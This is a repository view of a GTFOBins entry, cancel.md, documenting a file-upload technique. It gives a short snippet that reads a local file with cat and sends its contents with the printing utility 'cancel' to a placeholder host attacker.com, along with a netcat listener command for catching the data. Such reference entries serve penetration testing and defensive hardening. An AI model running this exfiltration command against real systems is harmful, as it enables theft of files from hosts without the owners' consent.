Files
GTFOBins.github.io/_gtfobins/cancel.md
0rbz 63147892c4 Create cancel.md (#43)
* Add cancel.md
2018-12-31 09:38:20 +01:00

11 lines
318 B
Markdown

---
functions:
file-upload:
- description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT
---